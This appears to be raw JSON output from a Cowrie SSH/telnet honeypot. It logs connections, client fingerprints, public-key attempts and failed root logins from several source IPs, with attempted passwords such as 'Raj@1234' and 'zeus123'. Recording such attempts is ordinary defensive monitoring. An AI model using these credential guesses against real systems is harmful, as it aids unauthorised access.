{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54132,"dst_ip":"10.17.0.5","dst_port":23,"session":"597bc3312df8","protocol":"telnet","message":"New connection: 192.119.13.58:54132 (10.17.0.5:23) [session: 597bc3312df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:55.683259Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":57937,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a92e5f2a974","protocol":"ssh","message":"New connection: 103.219.170.37:57937 (159.203.135.109:22) [session: 0a92e5f2a974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:55.855157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:55.860571Z","src_ip":"103.219.170.37","session":"0a92e5f2a974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:55.949066Z","src_ip":"103.219.170.37","session":"0a92e5f2a974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.04448485374451,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:56.149688Z","src_ip":"192.119.13.58","session":"864b63f99475","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Raj@1234","message":"login attempt [root/Raj@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:56.201775Z","src_ip":"103.219.170.37","session":"0a92e5f2a974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60856,"dst_ip":"10.17.0.5","dst_port":23,"session":"67052939057b","protocol":"telnet","message":"New connection: 192.119.13.58:60856 (10.17.0.5:23) [session: 67052939057b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:57.272541Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:57.292683Z","src_ip":"103.219.170.37","session":"0a92e5f2a974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50328,"dst_ip":"10.17.0.5","dst_port":23,"session":"deee364f39e3","protocol":"telnet","message":"New connection: 192.119.13.58:50328 (10.17.0.5:23) [session: deee364f39e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:01.672962Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.103","src_port":45998,"dst_ip":"10.17.0.5","dst_port":22,"session":"326d99b987a6","protocol":"ssh","message":"New connection: 89.37.117.103:45998 (10.17.0.5:22) [session: 326d99b987a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:03.352793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:03.357973Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:03.491425Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:96:64:51:e8:7b:59:14:9e:71:a0:9f:ce:07:14:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO8qeR/JPOfV41NWRWH1bs6F3q+p9HYuPybuHTrk4gEV41ERp8Uc5MEIckvB9UJRN8x68VrCC/JQdKFOnojBMNZvTsXS5ln0uJVwtTRZLRzByuTZ8WuYJMtHBjrAHZk3tMooHuuEp1vE/g7NGpCdMuCg19shzpQqJA8hE0Ns9I1nUk0j9AjIzTi24GWvlK3eqtHhM1WPYhQKNgwUluPGhSL2jaDNfUoj20lWG2r2jJqrKYSD+b/Xvla3bEohnWgdDpCCPqLNy1fDlInBbspYDXIx5AyFMf0+rmi8mC96SJZqQs71kEP2VYjr151FKP4YHqyxoQ3SuLukUbO17uEUct","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:96:64:51:e8:7b:59:14:9e:71:a0:9f:ce:07:14:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.135208Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:96:64:51:e8:7b:59:14:9e:71:a0:9f:ce:07:14:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO8qeR/JPOfV41NWRWH1bs6F3q+p9HYuPybuHTrk4gEV41ERp8Uc5MEIckvB9UJRN8x68VrCC/JQdKFOnojBMNZvTsXS5ln0uJVwtTRZLRzByuTZ8WuYJMtHBjrAHZk3tMooHuuEp1vE/g7NGpCdMuCg19shzpQqJA8hE0Ns9I1nUk0j9AjIzTi24GWvlK3eqtHhM1WPYhQKNgwUluPGhSL2jaDNfUoj20lWG2r2jJqrKYSD+b/Xvla3bEohnWgdDpCCPqLNy1fDlInBbspYDXIx5AyFMf0+rmi8mC96SJZqQs71kEP2VYjr151FKP4YHqyxoQ3SuLukUbO17uEUct","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.139383Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:43:76:9a:5d:77:e9:a2:24:a0:eb:90:36:d8:b7:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk5yzDrNhmSQaEXpqbvpQrAaYKbhXAX8i3bbCpIelHuvEsj5CIO7C764N4tLtsvt8J+8/Gv7St4/v5eor7fCIAfG1ev/D8nvpdfjBta92/LggJCQQlqBlDzDm3VKc1Cwxr9lEzWyaxSfxx56WrMVXXU0AbZBhN7Rw0xvojd3LKiBmiJrRvarxx8cWsNN1uVpUDdgsBx7UwV7YTDDT7s/53jQqMVy9qYT4LunmgeF8+hFQ5rajwsPKgdQ1SkAyRULC8I8pmzX77m2v8UBBqOFZK4FXKFGws6PK6iD0cf+uWPSlxgS6ylAJ51J8S/C2FJa5fB/FjsWM6iVTIn9NGTh5n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:43:76:9a:5d:77:e9:a2:24:a0:eb:90:36:d8:b7:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.270777Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:43:76:9a:5d:77:e9:a2:24:a0:eb:90:36:d8:b7:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk5yzDrNhmSQaEXpqbvpQrAaYKbhXAX8i3bbCpIelHuvEsj5CIO7C764N4tLtsvt8J+8/Gv7St4/v5eor7fCIAfG1ev/D8nvpdfjBta92/LggJCQQlqBlDzDm3VKc1Cwxr9lEzWyaxSfxx56WrMVXXU0AbZBhN7Rw0xvojd3LKiBmiJrRvarxx8cWsNN1uVpUDdgsBx7UwV7YTDDT7s/53jQqMVy9qYT4LunmgeF8+hFQ5rajwsPKgdQ1SkAyRULC8I8pmzX77m2v8UBBqOFZK4FXKFGws6PK6iD0cf+uWPSlxgS6ylAJ51J8S/C2FJa5fB/FjsWM6iVTIn9NGTh5n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.274792Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:41:dc:c2:22:3b:a2:be:bc:07:f0:31:47:d2:91:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/zuQhB2qQ5afKDOX3SThhO9F2oYkwBfSC4gi5vrru+42tqtrPPU7BEhJaVDQ1Jwp3/yFaMEcqzlQZwlWZDNayMgOei4TO4CBVpYZAKc5xBqF6AKLSnlR8+5UWNhnHtAkkvm5uSUIg8w9aBU9kfJLPusrcX4xQL5toamJzmUZQcu7vq1xakbMQlk2lS9is5lf0bptq/EBKUtNzwL/XLHGm4nbosvYe6nbCeRn7s+FqalwKcuvD9/YHooB2HDfLzrU7Qq5DXJjv3rEU1b1t+Ls+Omio3RfLvoc4YWrk2kBtaybr2Hw0koegHkusVlRMjIKbQWxUWkCar9HECfZ/z6Ob","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:41:dc:c2:22:3b:a2:be:bc:07:f0:31:47:d2:91:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.419094Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:41:dc:c2:22:3b:a2:be:bc:07:f0:31:47:d2:91:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/zuQhB2qQ5afKDOX3SThhO9F2oYkwBfSC4gi5vrru+42tqtrPPU7BEhJaVDQ1Jwp3/yFaMEcqzlQZwlWZDNayMgOei4TO4CBVpYZAKc5xBqF6AKLSnlR8+5UWNhnHtAkkvm5uSUIg8w9aBU9kfJLPusrcX4xQL5toamJzmUZQcu7vq1xakbMQlk2lS9is5lf0bptq/EBKUtNzwL/XLHGm4nbosvYe6nbCeRn7s+FqalwKcuvD9/YHooB2HDfLzrU7Qq5DXJjv3rEU1b1t+Ls+Omio3RfLvoc4YWrk2kBtaybr2Hw0koegHkusVlRMjIKbQWxUWkCar9HECfZ/z6Ob","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.422679Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:9e:d7:29:ec:01:e0:99:d2:7d:65:b6:0d:66:9e:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnudTTB6RvftzfODnxL+UFfj+JpxR/JT2QCs3A9RsjDVcTAxOlhmgihRHcLu3GAndDES8d9jFQn45oVrbTz+cRNd0jonElO9sZPf9z6lWis5vqTmgJxPudgup3kqpk/fXY614NSUORZ45tZ3gjZQ3NI5xT7DlVIAljxrCUK2ijF7iXD40YCoD+Kz3vyEOW3r178fbplC7q64+6YDm6Dcrq2k5p5HWWr6jPunIrteMyo+vcUgkUBR1QzcnwEtIe1ATvd9fIbZVlhtpr/0kPpGVO7gEVzHfnPCM/mFqumNu29zUzlBIsWp6Q9q4QMXVSK1BgNBq3T8L8wfgIDIBxZ0cPXVdBUT/DYRfTE0wr32E5PH5+McP6gX/xEJhzHohWfehCIAhCAkTTzvFz3GtTfFhBpGNaFHJ08HWGYYwRmjiqQHLMrPG7H/y5JSph/NVFRI/mHYmU53c8rBNK6cUO3EQglkmiop2yyHqPJoTTv32S3+CZkAeol22Ki/LUBp/swQE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:9e:d7:29:ec:01:e0:99:d2:7d:65:b6:0d:66:9e:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.558911Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:9e:d7:29:ec:01:e0:99:d2:7d:65:b6:0d:66:9e:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnudTTB6RvftzfODnxL+UFfj+JpxR/JT2QCs3A9RsjDVcTAxOlhmgihRHcLu3GAndDES8d9jFQn45oVrbTz+cRNd0jonElO9sZPf9z6lWis5vqTmgJxPudgup3kqpk/fXY614NSUORZ45tZ3gjZQ3NI5xT7DlVIAljxrCUK2ijF7iXD40YCoD+Kz3vyEOW3r178fbplC7q64+6YDm6Dcrq2k5p5HWWr6jPunIrteMyo+vcUgkUBR1QzcnwEtIe1ATvd9fIbZVlhtpr/0kPpGVO7gEVzHfnPCM/mFqumNu29zUzlBIsWp6Q9q4QMXVSK1BgNBq3T8L8wfgIDIBxZ0cPXVdBUT/DYRfTE0wr32E5PH5+McP6gX/xEJhzHohWfehCIAhCAkTTzvFz3GtTfFhBpGNaFHJ08HWGYYwRmjiqQHLMrPG7H/y5JSph/NVFRI/mHYmU53c8rBNK6cUO3EQglkmiop2yyHqPJoTTv32S3+CZkAeol22Ki/LUBp/swQE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.563665Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:06:d0:5a:5a:1c:2f:76:c7:89:75:44:b1:91:39:fd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBbvdOUHFVJmnA9SpCVHS2dqWjpHgRY4rBKtoNf0au1q","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5d:06:d0:5a:5a:1c:2f:76:c7:89:75:44:b1:91:39:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.713035Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:06:d0:5a:5a:1c:2f:76:c7:89:75:44:b1:91:39:fd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBbvdOUHFVJmnA9SpCVHS2dqWjpHgRY4rBKtoNf0au1q","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.720448Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:04.855927Z","src_ip":"89.37.117.103","session":"326d99b987a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37952,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa982680edcc","protocol":"telnet","message":"New connection: 192.119.13.58:37952 (10.17.0.5:23) [session: fa982680edcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:05.617531Z"}
{"eventid":"cowrie.session.closed","duration":46.76826500892639,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:07.182938Z","src_ip":"192.119.13.58","session":"2cf8145d516c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45392,"dst_ip":"10.17.0.5","dst_port":23,"session":"733b9919c2cf","protocol":"telnet","message":"New connection: 192.119.13.58:45392 (10.17.0.5:23) [session: 733b9919c2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:07.368590Z"}
{"eventid":"cowrie.session.closed","duration":47.665507555007935,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:07.466751Z","src_ip":"192.119.13.58","session":"58b63e13d888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":35062,"dst_ip":"159.203.135.109","dst_port":22,"session":"5303adcf81bb","protocol":"ssh","message":"New connection: 186.4.240.226:35062 (159.203.135.109:22) [session: 5303adcf81bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:09.409069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:09.414342Z","src_ip":"186.4.240.226","session":"5303adcf81bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:09.499159Z","src_ip":"186.4.240.226","session":"5303adcf81bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zeus123","message":"login attempt [root/zeus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:09.871166Z","src_ip":"186.4.240.226","session":"5303adcf81bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:10.959384Z","src_ip":"186.4.240.226","session":"5303adcf81bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40970,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f6447526176","protocol":"telnet","message":"New connection: 192.119.13.58:40970 (10.17.0.5:23) [session: 2f6447526176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:13.406566Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52374,"dst_ip":"10.17.0.5","dst_port":23,"session":"b020f2c7bb8a","protocol":"telnet","message":"New connection: 192.119.13.58:52374 (10.17.0.5:23) [session: b020f2c7bb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:16.489772Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54662,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a35b5b0717c","protocol":"telnet","message":"New connection: 192.119.13.58:54662 (10.17.0.5:23) [session: 4a35b5b0717c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:17.065744Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.227.14.33","src_port":44514,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd5fb9097835","protocol":"ssh","message":"New connection: 197.227.14.33:44514 (159.203.135.109:22) [session: cd5fb9097835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:29.093775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:29.098170Z","src_ip":"197.227.14.33","session":"cd5fb9097835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:29.362531Z","src_ip":"197.227.14.33","session":"cd5fb9097835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51966,"dst_ip":"10.17.0.5","dst_port":23,"session":"f04521149001","protocol":"telnet","message":"New connection: 192.119.13.58:51966 (10.17.0.5:23) [session: f04521149001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:30.307016Z"}
